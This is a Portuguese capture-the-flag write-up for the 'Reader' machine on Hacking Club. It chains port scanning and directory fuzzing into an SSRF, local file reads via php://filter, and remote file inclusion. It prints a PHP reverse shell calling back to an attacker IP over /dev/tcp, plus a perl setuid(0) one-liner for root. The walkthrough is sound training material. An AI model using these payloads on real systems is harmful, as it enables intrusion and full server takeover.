- Published on
Reader Writeup
- Authors
- Name
- Gabriel Silva
- @gabriel-silva-509347165
Plataforma: Hacking Club
Dificuldade: Easy
Nome: Reader
Port Scanning
nmap -sV -sC -p- -v $IP --open
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:6f:d9:6f:08:c8:eb:59:76:5f:fe:f5:1f:28:b4:d2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCdE/+UDioqJcBqKEjyENBihhOMB9Ocue8I+pDmGchJZvrGwO2MbIiL6VLH+bqm08nrq+NdjzWM7TewudhK9viM=
| 256 81:51:ba:61:11:db:07:50:51:66:92:d8:e1:ff:68:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKH7CspTNqFcDLRTPhHJYggspYSAuzmq+DXCv2U/Q2Jq
80/tcp open http syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Emergency Maintenance
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Essa maquina tem somente as portas 22 (SSH) e 80 (HTTP) aberta.
Enumeration
Nada no robots.txt.
Não tem muito o que se fazer , então fiz um fuzzing pra procurar por diretórios antes de ver essa API.
gobuster dir -u $URL -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories.txt -x php,sh,txt,cgi,html,js,css,py
Starting gobuster in directory enumeration mode
===============================================================
/api.php (Status: 200) [Size: 56]
/index.php (Status: 200) [Size: 17866]
/logfiles (Status: 301) [Size: 315] [--> <http://172.16.4.104/logfiles/>]
Tem um diretório chamado logfiles
que vai ser útil mais pra frente.
Na parte de API diz que só aceita requisições POST.
Por alguma razão pelo burp não esta funcionando passar o parâmetro , mas via curl deu certo:
curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1"
url
podemos deduzir que se trata de um SSRF. Utilizei esse simples port scan pra descobrir quais portas internas o servidor possui.for port in 22 21 25 80 8080 3306 5432 8443 445 9000; do echo "Scanning port $port..."; curl -X POST -s -d "url=http://127.0.0.1:$port" "<http://172.16.4.104/api.php>" | cat; done
curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/"
logfiles
pra ver qual foi a resposta do servidor.curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php"
Lendo o output , ele diz que falta um parâmetro chamado file
curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=/etc/passwd"
Pra entender melhor o que a aplicação está fazendo a gente vai ler o arquivo read.php utilizando o schema php://
Lembrando que é necessário converter pra base64 , por que se não a aplicação vai nos retornar uma pagina em branco.
curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=php://filter/convert.base64-encode/resource=read.php"
Include $_GET ['file']
indica um RFI (Remote-File Inclusion) que podemos usar pra ganhar acesso ao servidor.
Foothold
python3 -m http.server
#shell.php
<?php system("/bin/bash -c 'bash -i >& /dev/tcp/10.0.31.150/1337 0>&1'"); ?>
curl -X POST <http://172.16.4.104/api.php> -d "url=http://127.0.0.1:8080/read.php?file=http://10.0.31.150:80/shell.php"
Privilege Escalation
getcap -r / 2>/dev/null
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";’